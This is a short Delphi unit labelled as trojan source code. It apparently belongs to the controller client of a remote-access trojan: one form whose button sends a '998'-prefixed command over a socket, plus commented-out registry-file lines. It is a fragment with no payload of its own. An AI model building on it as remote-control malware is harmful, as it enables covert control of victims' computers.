unit4.~pas

New Trojan source delphi source code

unit Unit4;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls;

type
  TForm4 = class(TForm)
    Edit1: TEdit;
    Label1: TLabel;
    Button1: TButton;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form4: TForm4;

implementation

uses ClientUnit;

{$R *.DFM}

procedure TForm4.Button1Click(Sender: TObject);
var zaw1:string;
    plik:textfile;
begin
//assignfile(plikprzych,string(sysdir)+'\rejestr.reg');
//rewrite(form1.plikprzych,1);
form1.clientsocket1.Socket.SendText('998'+edit1.text);
//freeze;
form4.Close;
end;
end.